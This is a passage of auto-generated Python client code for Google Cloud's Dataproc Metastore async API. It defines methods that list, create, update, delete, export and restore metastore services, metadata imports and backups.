on the ``request`` instance; if ``request`` is provided, this should not be set. retry (google.api_core.retry.Retry): Designation of what errors, if any, should be retried. timeout (float): The timeout for this request. metadata (Sequence[Tuple[str, str]]): Strings which should be sent along with the request as metadata. Returns: google.cloud.metastore_v1.services.dataproc_metastore.pagers.ListServicesAsyncPager: Response message for [DataprocMetastore.ListServices][google.cloud.metastore.v1.DataprocMetastore.ListServices]. Iterating over this object will yield results and resolve additional pages automatically. """ # Create or coerce a protobuf request object. # Sanity check: If we got a request object, we should *not* have # gotten any keyword arguments that map to the request. has_flattened_params = any([parent]) if request is not None and has_flattened_params: raise ValueError( "If the `request` argument is set, then none of " "the individual field arguments should be set." ) request = metastore.ListServicesRequest(request) # If we have keyword arguments corresponding to fields on the # request, apply these. if parent is not None: request.parent = parent # Wrap the RPC method; this adds retry and timeout information, # and friendly error handling. rpc = gapic_v1.method_async.wrap_method( self._client._transport.list_services, default_timeout=None, client_info=DEFAULT_CLIENT_INFO, ) # Certain fields should be provided within the metadata header; # add these here. metadata = tuple(metadata) + ( gapic_v1.routing_header.to_grpc_metadata((("parent", request.parent),)), ) # Send the request. response = await rpc(request, retry=retry, timeout=timeout, metadata=metadata,) # This method is paged; wrap the response in a pager, which provides # an `__aiter__` convenience method. response = pagers.ListServicesAsyncPager( method=rpc, request=request, response=response, metadata=metadata, ) # Done; return the response. return response async def get_service( self, request: Union[metastore.GetServiceRequest, dict] = None, *, name: str = None, retry: OptionalRetry = gapic_v1.method.DEFAULT, timeout: float = None, metadata: Sequence[Tuple[str, str]] = (), ) -> metastore.Service: r"""Gets the details of a single service. Args: request (Union[google.cloud.metastore_v1.types.GetServiceRequest, dict]): The request object. Request message for [DataprocMetastore.GetService][google.cloud.metastore.v1.DataprocMetastore.GetService]. name (:class:`str`): Required. The relative resource name of the metastore service to retrieve, in the following form: ``projects/{project_number}/locations/{location_id}/services/{service_id}``. This corresponds to the ``name`` field on the ``request`` instance; if ``request`` is provided, this should not be set. retry (google.api_core.retry.Retry): Designation of what errors, if any, should be retried. timeout (float): The timeout for this request. metadata (Sequence[Tuple[str, str]]): Strings which should be sent along with the request as metadata. Returns: google.cloud.metastore_v1.types.Service: A managed metastore service that serves metadata queries. """ # Create or coerce a protobuf request object. # Sanity check: If we got a request object, we should *not* have # gotten any keyword arguments that map to the request. has_flattened_params = any([name]) if request is not None and has_flattened_params: raise ValueError( "If the `request` argument is set, then none of " "the individual field arguments should be set." ) request = metastore.GetServiceRequest(request) # If we have keyword arguments corresponding to fields on the # request, apply these. if name is not None: request.name = name # Wrap the RPC method; this adds retry and timeout information, # and friendly error handling. rpc = gapic_v1.method_async.wrap_method( self._client._transport.get_service, default_timeout=None, client_info=DEFAULT_CLIENT_INFO, ) # Certain fields should be provided within the metadata header; # add these here. metadata = tuple(metadata) + ( gapic_v1.routing_header.to_grpc_metadata((("name", request.name),)), ) # Send the request. response = await rpc(request, retry=retry, timeout=timeout, metadata=metadata,) # Done; return the response. return response async def create_service( self, request: Union[metastore.CreateServiceRequest, dict] = None, *, parent: str = None, service: metastore.Service = None, service_id: str = None, retry: OptionalRetry = gapic_v1.method.DEFAULT, timeout: float = None, metadata: Sequence[Tuple[str, str]] = (), ) -> operation_async.AsyncOperation: r"""Creates a metastore service in a project and location. Args: request (Union[google.cloud.metastore_v1.types.CreateServiceRequest, dict]): The request object. Request message for [DataprocMetastore.CreateService][google.cloud.metastore.v1.DataprocMetastore.CreateService]. parent (:class:`str`): Required. The relative resource name of the location in which to create a metastore service, in the following form: ``projects/{project_number}/locations/{location_id}``. This corresponds to the ``parent`` field on the ``request`` instance; if ``request`` is provided, this should not be set. service (:class:`google.cloud.metastore_v1.types.Service`): Required. The Metastore service to create. The ``name`` field is ignored. The ID of the created metastore service must be provided in the request's ``service_id`` field. This corresponds to the ``service`` field on the ``request`` instance; if ``request`` is provided, this should not be set. service_id (:class:`str`): Required. The ID of the metastore service, which is used as the final component of the metastore service's name. This value must be between 2 and 63 characters long inclusive, begin with a letter, end with a letter or number, and consist of alpha-numeric ASCII characters or hyphens. This corresponds to the ``service_id`` field on the ``request`` instance; if ``request`` is provided, this should not be set. retry (google.api_core.retry.Retry): Designation of what errors, if any, should be retried. timeout (float): The timeout for this request. metadata (Sequence[Tuple[str, str]]): Strings which should be sent along with the request as metadata. Returns: google.api_core.operation_async.AsyncOperation: An object representing a long-running operation. The result type for the operation will be :class:`google.cloud.metastore_v1.types.Service` A managed metastore service that serves metadata queries. """ # Create or coerce a protobuf request object. # Sanity check: If we got a request object, we should *not* have # gotten any keyword arguments that map to the request. has_flattened_params = any([parent, service, service_id]) if request is not None and has_flattened_params: raise ValueError( "If the `request` argument is set, then none of " "the individual field arguments should be set." ) request = metastore.CreateServiceRequest(request) # If we have keyword arguments corresponding to fields on the # request, apply these. if parent is not None: request.parent = parent if service is not None: request.service = service if service_id is not None: request.service_id = service_id # Wrap the RPC method; this adds retry and timeout information, # and friendly error handling. rpc = gapic_v1.method_async.wrap_method( self._client._transport.create_service, default_timeout=60.0, client_info=DEFAULT_CLIENT_INFO, ) # Certain fields should be provided within the metadata header; # add these here. metadata = tuple(metadata) + ( gapic_v1.routing_header.to_grpc_metadata((("parent", request.parent),)), ) # Send the request. response = await rpc(request, retry=retry, timeout=timeout, metadata=metadata,) # Wrap the response in an operation future. response = operation_async.from_gapic( response, self._client._transport.operations_client, metastore.Service, metadata_type=metastore.OperationMetadata, ) # Done; return the response. return response async def update_service( self, request: Union[metastore.UpdateServiceRequest, dict] = None, *, service: metastore.Service = None, update_mask: field_mask_pb2.FieldMask = None, retry: OptionalRetry = gapic_v1.method.DEFAULT, timeout: float = None, metadata: Sequence[Tuple[str, str]] = (), ) -> operation_async.AsyncOperation: r"""Updates the parameters of a single service. Args: request (Union[google.cloud.metastore_v1.types.UpdateServiceRequest, dict]): The request object. Request message for [DataprocMetastore.UpdateService][google.cloud.metastore.v1.DataprocMetastore.UpdateService]. service (:class:`google.cloud.metastore_v1.types.Service`): Required. The metastore service to update. The server only merges fields in the service if they are specified in ``update_mask``. The metastore service's ``name`` field is used to identify the metastore service to be updated. This corresponds to the ``service`` field on the ``request`` instance; if ``request`` is provided, this should not be set. update_mask (:class:`google.protobuf.field_mask_pb2.FieldMask`): Required. A field mask used to specify the fields to be overwritten in the metastore service resource by the update. Fields specified in the ``update_mask`` are relative to the resource (not to the full request). A field is overwritten if it is in the mask. This corresponds to the ``update_mask`` field on the ``request`` instance; if ``request`` is provided, this should not be set. retry (google.api_core.retry.Retry): Designation of what errors, if any, should be retried. timeout (float): The timeout for this request. metadata (Sequence[Tuple[str, str]]): Strings which should be sent along with the request as metadata. Returns: google.api_core.operation_async.AsyncOperation: An object representing a long-running operation. The result type for the operation will be :class:`google.cloud.metastore_v1.types.Service` A managed metastore service that serves metadata queries. """ # Create or coerce a protobuf request object. # Sanity check: If we got a request object, we should *not* have # gotten any keyword arguments that map to the request. has_flattened_params = any([service, update_mask]) if request is not None and has_flattened_params: raise ValueError( "If the `request` argument is set, then none of " "the individual field arguments should be set." ) request = metastore.UpdateServiceRequest(request) # If we have keyword arguments corresponding to fields on the # request, apply these. if service is not None: request.service = service if update_mask is not None: request.update_mask = update_mask # Wrap the RPC method; this adds retry and timeout information, # and friendly error handling. rpc = gapic_v1.method_async.wrap_method( self._client._transport.update_service, default_timeout=60.0, client_info=DEFAULT_CLIENT_INFO, ) # Certain fields should be provided within the metadata header; # add these here. metadata = tuple(metadata) + ( gapic_v1.routing_header.to_grpc_metadata( (("service.name", request.service.name),) ), ) # Send the request. response = await rpc(request, retry=retry, timeout=timeout, metadata=metadata,) # Wrap the response in an operation future. response = operation_async.from_gapic( response, self._client._transport.operations_client, metastore.Service, metadata_type=metastore.OperationMetadata, ) # Done; return the response. return response async def delete_service( self, request: Union[metastore.DeleteServiceRequest, dict] = None, *, name: str = None, retry: OptionalRetry = gapic_v1.method.DEFAULT, timeout: float = None, metadata: Sequence[Tuple[str, str]] = (), ) -> operation_async.AsyncOperation: r"""Deletes a single service. Args: request (Union[google.cloud.metastore_v1.types.DeleteServiceRequest, dict]): The request object. Request message for [DataprocMetastore.DeleteService][google.cloud.metastore.v1.DataprocMetastore.DeleteService]. name (:class:`str`): Required. The relative resource name of the metastore service to delete, in the following form: ``projects/{project_number}/locations/{location_id}/services/{service_id}``. This corresponds to the ``name`` field on the ``request`` instance; if ``request`` is provided, this should not be set. retry (google.api_core.retry.Retry): Designation of what errors, if any, should be retried. timeout (float): The timeout for this request. metadata (Sequence[Tuple[str, str]]): Strings which should be sent along with the request as metadata. Returns: google.api_core.operation_async.AsyncOperation: An object representing a long-running operation. The result type for the operation will be :class:`google.protobuf.empty_pb2.Empty` A generic empty message that you can re-use to avoid defining duplicated empty messages in your APIs. A typical example is to use it as the request or the response type of an API method. For instance: service Foo { rpc Bar(google.protobuf.Empty) returns (google.protobuf.Empty); } The JSON representation for Empty is empty JSON object {}. """ # Create or coerce a protobuf request object. # Sanity check: If we got a request object, we should *not* have # gotten any keyword arguments that map to the request. has_flattened_params = any([name]) if request is not None and has_flattened_params: raise ValueError( "If the `request` argument is set, then none of " "the individual field arguments should be set." ) request = metastore.DeleteServiceRequest(request) # If we have keyword arguments corresponding to fields on the # request, apply these. if name is not None: request.name = name # Wrap the RPC method; this adds retry and timeout information, # and friendly error handling. rpc = gapic_v1.method_async.wrap_method( self._client._transport.delete_service, default_timeout=60.0, client_info=DEFAULT_CLIENT_INFO, ) # Certain fields should be provided within the metadata header; # add these here. metadata = tuple(metadata) + ( gapic_v1.routing_header.to_grpc_metadata((("name", request.name),)), ) # Send the request. response = await rpc(request, retry=retry, timeout=timeout, metadata=metadata,) # Wrap the response in an operation future. response = operation_async.from_gapic( response, self._client._transport.operations_client, empty_pb2.Empty, metadata_type=metastore.OperationMetadata, ) # Done; return the response. return response async def list_metadata_imports( self, request: Union[metastore.ListMetadataImportsRequest, dict] = None, *, parent: str = None, retry: OptionalRetry = gapic_v1.method.DEFAULT, timeout: float = None, metadata: Sequence[Tuple[str, str]] = (), ) -> pagers.ListMetadataImportsAsyncPager: r"""Lists imports in a service. Args: request (Union[google.cloud.metastore_v1.types.ListMetadataImportsRequest, dict]): The request object. Request message for [DataprocMetastore.ListMetadataImports][google.cloud.metastore.v1.DataprocMetastore.ListMetadataImports]. parent (:class:`str`): Required. The relative resource name of the service whose metadata imports to list, in the following form: ``projects/{project_number}/locations/{location_id}/services/{service_id}/metadataImports``. This corresponds to the ``parent`` field on the ``request`` instance; if ``request`` is provided, this should not be set. retry (google.api_core.retry.Retry): Designation of what errors, if any, should be retried. timeout (float): The timeout for this request. metadata (Sequence[Tuple[str, str]]): Strings which should be sent along with the request as metadata. Returns: google.cloud.metastore_v1.services.dataproc_metastore.pagers.ListMetadataImportsAsyncPager: Response message for [DataprocMetastore.ListMetadataImports][google.cloud.metastore.v1.DataprocMetastore.ListMetadataImports]. Iterating over this object will yield results and resolve additional pages automatically. """ # Create or coerce a protobuf request object. # Sanity check: If we got a request object, we should *not* have # gotten any keyword arguments that map to the request. has_flattened_params = any([parent]) if request is not None and has_flattened_params: raise ValueError( "If the `request` argument is set, then none of " "the individual field arguments should be set." ) request = metastore.ListMetadataImportsRequest(request) # If we have keyword arguments corresponding to fields on the # request, apply these. if parent is not None: request.parent = parent # Wrap the RPC method; this adds retry and timeout information, # and friendly error handling. rpc = gapic_v1.method_async.wrap_method( self._client._transport.list_metadata_imports, default_timeout=None, client_info=DEFAULT_CLIENT_INFO, ) # Certain fields should be provided within the metadata header; # add these here. metadata = tuple(metadata) + ( gapic_v1.routing_header.to_grpc_metadata((("parent", request.parent),)), ) # Send the request. response = await rpc(request, retry=retry, timeout=timeout, metadata=metadata,) # This method is paged; wrap the response in a pager, which provides # an `__aiter__` convenience method. response = pagers.ListMetadataImportsAsyncPager( method=rpc, request=request, response=response, metadata=metadata, ) # Done; return the response. return response async def get_metadata_import( self, request: Union[metastore.GetMetadataImportRequest, dict] = None, *, name: str = None, retry: OptionalRetry = gapic_v1.method.DEFAULT, timeout: float = None, metadata: Sequence[Tuple[str, str]] = (), ) -> metastore.MetadataImport: r"""Gets details of a single import. Args: request (Union[google.cloud.metastore_v1.types.GetMetadataImportRequest, dict]): The request object. Request message for [DataprocMetastore.GetMetadataImport][google.cloud.metastore.v1.DataprocMetastore.GetMetadataImport]. name (:class:`str`): Required. The relative resource name of the metadata import to retrieve, in the following form: ``projects/{project_number}/locations/{location_id}/services/{service_id}/metadataImports/{import_id}``. This corresponds to the ``name`` field on the ``request`` instance; if ``request`` is provided, this should not be set. retry (google.api_core.retry.Retry): Designation of what errors, if any, should be retried. timeout (float): The timeout for this request. metadata (Sequence[Tuple[str, str]]): Strings which should be sent along with the request as metadata. Returns: google.cloud.metastore_v1.types.MetadataImport: A metastore resource that imports metadata. """ # Create or coerce a protobuf request object. # Sanity check: If we got a request object, we should *not* have # gotten any keyword arguments that map to the request. has_flattened_params = any([name]) if request is not None and has_flattened_params: raise ValueError( "If the `request` argument is set, then none of " "the individual field arguments should be set." ) request = metastore.GetMetadataImportRequest(request) # If we have keyword arguments corresponding to fields on the # request, apply these. if name is not None: request.name = name # Wrap the RPC method; this adds retry and timeout information, # and friendly error handling. rpc = gapic_v1.method_async.wrap_method( self._client._transport.get_metadata_import, default_timeout=None, client_info=DEFAULT_CLIENT_INFO, ) # Certain fields should be provided within the metadata header; # add these here. metadata = tuple(metadata) + ( gapic_v1.routing_header.to_grpc_metadata((("name", request.name),)), ) # Send the request. response = await rpc(request, retry=retry, timeout=timeout, metadata=metadata,) # Done; return the response. return response async def create_metadata_import( self, request: Union[metastore.CreateMetadataImportRequest, dict] = None, *, parent: str = None, metadata_import: metastore.MetadataImport = None, metadata_import_id: str = None, retry: OptionalRetry = gapic_v1.method.DEFAULT, timeout: float = None, metadata: Sequence[Tuple[str, str]] = (), ) -> operation_async.AsyncOperation: r"""Creates a new MetadataImport in a given project and location. Args: request (Union[google.cloud.metastore_v1.types.CreateMetadataImportRequest, dict]): The request object. Request message for [DataprocMetastore.CreateMetadataImport][google.cloud.metastore.v1.DataprocMetastore.CreateMetadataImport]. parent (:class:`str`): Required. The relative resource name of the service in which to create a metastore import, in the following form: ``projects/{project_number}/locations/{location_id}/services/{service_id}``. This corresponds to the ``parent`` field on the ``request`` instance; if ``request`` is provided, this should not be set. metadata_import (:class:`google.cloud.metastore_v1.types.MetadataImport`): Required. The metadata import to create. The ``name`` field is ignored. The ID of the created metadata import must be provided in the request's ``metadata_import_id`` field. This corresponds to the ``metadata_import`` field on the ``request`` instance; if ``request`` is provided, this should not be set. metadata_import_id (:class:`str`): Required. The ID of the metadata import, which is used as the final component of the metadata import's name. This value must be between 1 and 64 characters long, begin with a letter, end with a letter or number, and consist of alpha-numeric ASCII characters or hyphens. This corresponds to the ``metadata_import_id`` field on the ``request`` instance; if ``request`` is provided, this should not be set. retry (google.api_core.retry.Retry): Designation of what errors, if any, should be retried. timeout (float): The timeout for this request. metadata (Sequence[Tuple[str, str]]): Strings which should be sent along with the request as metadata. Returns: google.api_core.operation_async.AsyncOperation: An object representing a long-running operation. The result type for the operation will be :class:`google.cloud.metastore_v1.types.MetadataImport` A metastore resource that imports metadata. """ # Create or coerce a protobuf request object. # Sanity check: If we got a request object, we should *not* have # gotten any keyword arguments that map to the request. has_flattened_params = any([parent, metadata_import, metadata_import_id]) if request is not None and has_flattened_params: raise ValueError( "If the `request` argument is set, then none of " "the individual field arguments should be set." ) request = metastore.CreateMetadataImportRequest(request) # If we have keyword arguments corresponding to fields on the # request, apply these. if parent is not None: request.parent = parent if metadata_import is not None: request.metadata_import = metadata_import if metadata_import_id is not None: request.metadata_import_id = metadata_import_id # Wrap the RPC method; this adds retry and timeout information, # and friendly error handling. rpc = gapic_v1.method_async.wrap_method( self._client._transport.create_metadata_import, default_timeout=60.0, client_info=DEFAULT_CLIENT_INFO, ) # Certain fields should be provided within the metadata header; # add these here. metadata = tuple(metadata) + ( gapic_v1.routing_header.to_grpc_metadata((("parent", request.parent),)), ) # Send the request. response = await rpc(request, retry=retry, timeout=timeout, metadata=metadata,) # Wrap the response in an operation future. response = operation_async.from_gapic( response, self._client._transport.operations_client, metastore.MetadataImport, metadata_type=metastore.OperationMetadata, ) # Done; return the response. return response async def update_metadata_import( self, request: Union[metastore.UpdateMetadataImportRequest, dict] = None, *, metadata_import: metastore.MetadataImport = None, update_mask: field_mask_pb2.FieldMask = None, retry: OptionalRetry = gapic_v1.method.DEFAULT, timeout: float = None, metadata: Sequence[Tuple[str, str]] = (), ) -> operation_async.AsyncOperation: r"""Updates a single import. Only the description field of MetadataImport is supported to be updated. Args: request (Union[google.cloud.metastore_v1.types.UpdateMetadataImportRequest, dict]): The request object. Request message for [DataprocMetastore.UpdateMetadataImport][google.cloud.metastore.v1.DataprocMetastore.UpdateMetadataImport]. metadata_import (:class:`google.cloud.metastore_v1.types.MetadataImport`): Required. The metadata import to update. The server only merges fields in the import if they are specified in ``update_mask``. The metadata import's ``name`` field is used to identify the metastore import to be updated. This corresponds to the ``metadata_import`` field on the ``request`` instance; if ``request`` is provided, this should not be set. update_mask (:class:`google.protobuf.field_mask_pb2.FieldMask`): Required. A field mask used to specify the fields to be overwritten in the metadata import resource by the update. Fields specified in the ``update_mask`` are relative to the resource (not to the full request). A field is overwritten if it is in the mask. This corresponds to the ``update_mask`` field on the ``request`` instance; if ``request`` is provided, this should not be set. retry (google.api_core.retry.Retry): Designation of what errors, if any, should be retried. timeout (float): The timeout for this request. metadata (Sequence[Tuple[str, str]]): Strings which should be sent along with the request as metadata. Returns: google.api_core.operation_async.AsyncOperation: An object representing a long-running operation. The result type for the operation will be :class:`google.cloud.metastore_v1.types.MetadataImport` A metastore resource that imports metadata. """ # Create or coerce a protobuf request object. # Sanity check: If we got a request object, we should *not* have # gotten any keyword arguments that map to the request. has_flattened_params = any([metadata_import, update_mask]) if request is not None and has_flattened_params: raise ValueError( "If the `request` argument is set, then none of " "the individual field arguments should be set." ) request = metastore.UpdateMetadataImportRequest(request) # If we have keyword arguments corresponding to fields on the # request, apply these. if metadata_import is not None: request.metadata_import = metadata_import if update_mask is not None: request.update_mask = update_mask # Wrap the RPC method; this adds retry and timeout information, # and friendly error handling. rpc = gapic_v1.method_async.wrap_method( self._client._transport.update_metadata_import, default_timeout=60.0, client_info=DEFAULT_CLIENT_INFO, ) # Certain fields should be provided within the metadata header; # add these here. metadata = tuple(metadata) + ( gapic_v1.routing_header.to_grpc_metadata( (("metadata_import.name", request.metadata_import.name),) ), ) # Send the request. response = await rpc(request, retry=retry, timeout=timeout, metadata=metadata,) # Wrap the response in an operation future. response = operation_async.from_gapic( response, self._client._transport.operations_client, metastore.MetadataImport, metadata_type=metastore.OperationMetadata, ) # Done; return the response. return response async def export_metadata( self, request: Union[metastore.ExportMetadataRequest, dict] = None, *, retry: OptionalRetry = gapic_v1.method.DEFAULT, timeout: float = None, metadata: Sequence[Tuple[str, str]] = (), ) -> operation_async.AsyncOperation: r"""Exports metadata from a service. Args: request (Union[google.cloud.metastore_v1.types.ExportMetadataRequest, dict]): The request object. Request message for [DataprocMetastore.ExportMetadata][google.cloud.metastore.v1.DataprocMetastore.ExportMetadata]. retry (google.api_core.retry.Retry): Designation of what errors, if any, should be retried. timeout (float): The timeout for this request. metadata (Sequence[Tuple[str, str]]): Strings which should be sent along with the request as metadata. Returns: google.api_core.operation_async.AsyncOperation: An object representing a long-running operation. The result type for the operation will be :class:`google.cloud.metastore_v1.types.MetadataExport` The details of a metadata export operation. """ # Create or coerce a protobuf request object. request = metastore.ExportMetadataRequest(request) # Wrap the RPC method; this adds retry and timeout information, # and friendly error handling. rpc = gapic_v1.method_async.wrap_method( self._client._transport.export_metadata, default_timeout=60.0, client_info=DEFAULT_CLIENT_INFO, ) # Certain fields should be provided within the metadata header; # add these here. metadata = tuple(metadata) + ( gapic_v1.routing_header.to_grpc_metadata((("service", request.service),)), ) # Send the request. response = await rpc(request, retry=retry, timeout=timeout, metadata=metadata,) # Wrap the response in an operation future. response = operation_async.from_gapic( response, self._client._transport.operations_client, metastore.MetadataExport, metadata_type=metastore.OperationMetadata, ) # Done; return the response. return response async def restore_service( self, request: Union[metastore.RestoreServiceRequest, dict] = None, *, service: str = None, backup: str = None, retry: OptionalRetry = gapic_v1.method.DEFAULT, timeout: float = None, metadata: Sequence[Tuple[str, str]] = (), ) -> operation_async.AsyncOperation: r"""Restores a service from a backup. Args: request (Union[google.cloud.metastore_v1.types.RestoreServiceRequest, dict]): The request object. Request message for [DataprocMetastore.Restore][]. service (:class:`str`): Required. The relative resource name of the metastore service to run restore, in the following form: ``projects/{project_id}/locations/{location_id}/services/{service_id}``. This corresponds to the ``service`` field on the ``request`` instance; if ``request`` is provided, this should not be set. backup (:class:`str`): Required. The relative resource name of the metastore service backup to restore from, in the following form: ``projects/{project_id}/locations/{location_id}/services/{service_id}/backups/{backup_id}``. This corresponds to the ``backup`` field on the ``request`` instance; if ``request`` is provided, this should not be set. retry (google.api_core.retry.Retry): Designation of what errors, if any, should be retried. timeout (float): The timeout for this request. metadata (Sequence[Tuple[str, str]]): Strings which should be sent along with the request as metadata. Returns: google.api_core.operation_async.AsyncOperation: An object representing a long-running operation. The result type for the operation will be :class:`google.cloud.metastore_v1.types.Restore` The details of a metadata restore operation. """ # Create or coerce a protobuf request object. # Sanity check: If we got a request object, we should *not* have # gotten any keyword arguments that map to the request. has_flattened_params = any([service, backup]) if request is not None and has_flattened_params: raise ValueError( "If the `request` argument is set, then none of " "the individual field arguments should be set." ) request = metastore.RestoreServiceRequest(request) # If we have keyword arguments corresponding to fields on the # request, apply these. if service is not None: request.service = service if backup is not None: request.backup = backup # Wrap the RPC method; this adds retry and timeout information, # and friendly error handling. rpc = gapic_v1.method_async.wrap_method( self._client._transport.restore_service, default_timeout=60.0, client_info=DEFAULT_CLIENT_INFO, ) # Certain fields should be provided within the metadata header; # add these here. metadata = tuple(metadata) + ( gapic_v1.routing_header.to_grpc_metadata((("service", request.service),)), ) # Send the request. response = await rpc(request, retry=retry, timeout=timeout, metadata=metadata,) # Wrap the response in an operation future. response = operation_async.from_gapic( response, self._client._transport.operations_client, metastore.Restore, metadata_type=metastore.OperationMetadata, ) # Done; return the response. return response async def list_backups( self, request: Union[metastore.ListBackupsRequest, dict] = None, *, parent: str = None, retry: OptionalRetry = gapic_v1.method.DEFAULT, timeout: float = None, metadata: Sequence[Tuple[str, str]] = (), ) -> pagers.ListBackupsAsyncPager: r"""Lists backups in a service. Args: request (Union[google.cloud.metastore_v1.types.ListBackupsRequest, dict]): The request object. Request message for [DataprocMetastore.ListBackups][google.cloud.metastore.v1.DataprocMetastore.ListBackups]. parent (:class:`str`): Required. The relative resource name of the service whose backups to list, in the following form: ``projects/{project_number}/locations/{location_id}/services/{service_id}/backups``. This corresponds to the ``parent`` field on the ``request`` instance; if ``request`` is provided, this should not be set. retry (google.api_core.retry.Retry): Designation of what errors, if any, should be retried. timeout (float): The timeout for this request. metadata (Sequence[Tuple[str, str]]): Strings which should be sent along with the request as metadata. Returns: google.cloud.metastore_v1.services.dataproc_metastore.pagers.ListBackupsAsyncPager: Response message for [DataprocMetastore.ListBackups][google.cloud.metastore.v1.DataprocMetastore.ListBackups]. Iterating over this object will yield results and resolve additional pages automatically. """ # Create or coerce a protobuf request object. # Sanity check: If we got a request object, we should *not* have # gotten any keyword arguments that map to the request. has_flattened_params = any([parent]) if request is not None and has_flattened_params: raise ValueError( "If the `request` argument is set, then none of " "the individual field arguments should be set." ) request = metastore.ListBackupsRequest(request) # If we have keyword arguments corresponding to fields on the # request, apply these. if parent is not None: request.parent = parent # Wrap the RPC method; this adds retry and timeout information, # and friendly error handling. rpc = gapic_v1.method_async.wrap_method( self._client._transport.list_backups, default_timeout=None, client_info=DEFAULT_CLIENT_INFO, ) # Certain fields should be provided within the metadata header; # add these here. metadata = tuple(metadata) + ( gapic_v1.routing_header.to_grpc_metadata((("parent", request.parent),)), ) # Send the request. response = await rpc(request, retry=retry, timeout=timeout, metadata=metadata,) # This method is paged; wrap the response in a pager, which provides # an `__aiter__` convenience method. response = pagers.ListBackupsAsyncPager( method=rpc, request=request, response=response, metadata=metadata, ) # Done; return the response. return response async def get_backup( self, request: Union[metastore.GetBackupRequest, dict] = None, *, name: str = None, retry: OptionalRetry = gapic_v1.method.DEFAULT, timeout: float = None, metadata: Sequence[Tuple[str, str]] = (), ) -> metastore.Backup: r"""Gets details of a single backup. Args: request (Union[google.cloud.metastore_v1.types.GetBackupRequest, dict]): The request object. Request message for [DataprocMetastore.GetBackup][google.cloud.metastore.v1.DataprocMetastore.GetBackup]. name (:class:`str`): Required. The relative resource name of the backup to retrieve, in the following form: ``projects/{project_number}/locations/{location_id}/services/{service_id}/backups/{backup_id}``. This corresponds to the ``name`` field on the ``request`` instance; if ``request`` is provided, this should not be set. retry (google.api_core.retry.Retry): Designation of what errors, if any, should be retried. timeout (float): The timeout for this request. metadata (Sequence[Tuple[str, str]]): Strings which should be sent along with the request as metadata. Returns: google.cloud.metastore_v1.types.Backup: The details of a backup resource. """ # Create or coerce a protobuf request object. # Sanity check: If we got a request object, we should *not* have # gotten any keyword arguments that map to the request. has_flattened_params = any([name]) if request is not None and has_flattened_params: raise ValueError( "If the `request` argument is set, then none of " "the individual field arguments should be set." ) request = metastore.GetBackupRequest(request) # If we have keyword arguments corresponding to fields on the # request, apply these. if name is not None: request.name = name # Wrap the RPC method; this adds retry and timeout information, # and friendly error handling. rpc = gapic_v1.method_async.wrap_method( self._client._transport.get_backup, default_timeout=None, client_info=DEFAULT_CLIENT_INFO, ) # Certain fields should be provided within the metadata header; # add these here. metadata = tuple(metadata) + ( gapic_v1.routing_header.to_grpc_metadata((("name", request.name),)), ) # Send the request. response = await rpc(request, retry=retry, timeout=timeout, metadata=metadata,) # Done; return the response. return response async def create_backup( self, request: Union[metastore.CreateBackupRequest, dict] = None, *, parent: str = None, backup: metastore.Backup = None, backup_id: str = None, retry: OptionalRetry = gapic_v1.method.DEFAULT, timeout: float = None, metadata: Sequence[Tuple[str, str]] = (), ) -> operation_async.AsyncOperation: r"""Creates a new backup in a given project and location. Args: request (Union[google.cloud.metastore_v1.types.CreateBackupRequest, dict]): The request object. Request message for [DataprocMetastore.CreateBackup][google.cloud.metastore.v1.DataprocMetastore.CreateBackup]. parent (:class:`str`): Required. The relative resource name of the service in which to create a backup of the following form: ``projects/{project_number}/locations/{location_id}/services/{service_id}``. This corresponds to the ``parent`` field on the ``request`` instance; if ``request`` is provided, this should not be set. backup (:class:`google.cloud.metastore_v1.types.Backup`): Required. The backup to create. The ``name`` field is ignored. The ID of the created backup must be provided in the request's ``backup_id`` field. This corresponds to the ``backup`` field on the ``request`` instance; if ``request`` is provided, this should not be set. backup_id (:class:`str`): Required. The ID of the backup, which is used as the final component of the backup's name. This value must be between 1 and 64 characters long, begin with a letter, end with a letter or number, and consist of alpha-numeric ASCII characters or hyphens. This corresponds to the ``backup_id`` field on the ``request`` instance; if ``request`` is provided, this should not be set. retry (google.api_core.retry.Retry): Designation of what errors, if any, should be retried. timeout (float): The timeout for this request. metadata (Sequence[Tuple[str, str]]): Strings which should be sent along with the request as metadata. Returns: google.api_core.operation_async.AsyncOperation: An object representing a long-running operation. The result type for the operation will be :class:`google.cloud.metastore_v1.types.Backup` The details of a backup resource. """ # Create or coerce a protobuf request object. # Sanity check: If we got a request object, we should *not* have # gotten any keyword arguments that map to the request. has_flattened_params = any([parent, backup, backup_id]) if request is not None and has_flattened_params: raise ValueError( "If the `request` argument is set, then none of " "the individual field arguments should be set." ) request = metastore.CreateBackupRequest(request) # If we have keyword arguments corresponding to fields on the # request, apply these. if parent is not None: request.parent = parent if backup is not None: request.backup = backup if backup_id is not None: request.backup_id = backup_id # Wrap the RPC method; this adds retry and timeout information, # and friendly error handling. rpc = gapic_v1.method_async.wrap_method( self._client._transport.create_backup, default_timeout=60.0, client_info=DEFAULT_CLIENT_INFO, ) # Certain fields should be provided within the metadata header; # add these here. metadata = tuple(metadata) + ( gapic_v1.routing_header.to_grpc_metadata((("parent", request.parent),)), ) # Send the request. response = await rpc(request, retry=retry, timeout=timeout, metadata=metadata,) # Wrap the response in an operation future. response = operation_async.from_gapic( response, self._client._transport.operations_client, metastore.Backup, metadata_type=metastore.OperationMetadata, ) # Done; return the response. return response async def delete_backup( self, request: Union[metastore.DeleteBackupRequest, dict] = None, *, name: str = None, retry: OptionalRetry = gapic_v1.method.DEFAULT, timeout: float = None, metadata: Sequence[Tuple[str, str]] = (), ) -> operation_async.AsyncOperation: r"""Deletes a single backup. Args: request (Union[google.cloud.metastore_v1.types.DeleteBackupRequest, dict]): The request object. Request message for [DataprocMetastore.DeleteBackup][google.cloud.metastore.v1.DataprocMetastore.DeleteBackup]. name (:class:`str`): Required. The relative resource name of the backup to delete, in the following form: ``projects/{project_number}/locations/{location_id}/services/{service_id}/backups/{backup_id}``. This corresponds to the ``name`` field on the ``request`` instance; if ``request`` is provided, this should not be set. retry (google.api_core.retry.Retry): Designation of what errors, if any, should be retried. timeout (float): The timeout for this request. metadata (Sequence[Tuple[str, str]]): Strings which should be sent along with the request as metadata. Returns: google.api_core.operation_async.AsyncOperation: An object representing a long-running operation. The result type for the operation will be :class:`google.protobuf.empty_pb2.Empty` A generic empty message that you can re-use to avoid defining duplicated empty messages in your APIs. A typical example is to use it as the request or the response type of an API method. For instance: service Foo { rpc Bar(google.protobuf.Empty) returns (google.protobuf.Empty); } The JSON representation for Empty is empty JSON object {}. """ # Create or coerce a protobuf request object. # Sanity check: If we got a request object, we should *not* have # gotten any keyword arguments that map to the request. has_flattened_params = any([name]) if request is not None and has_flattened_params: raise 